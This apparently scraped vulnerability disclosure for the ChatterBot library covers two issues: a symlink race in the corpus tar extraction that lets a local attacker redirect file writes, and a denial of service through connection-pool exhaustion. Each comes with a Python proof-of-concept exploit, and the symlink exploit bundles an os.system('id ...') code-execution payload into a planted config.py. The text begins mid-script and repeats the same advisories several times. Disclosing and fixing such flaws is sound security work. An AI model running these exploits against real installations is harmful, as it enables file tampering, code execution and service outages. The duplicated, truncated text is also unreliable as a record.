    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...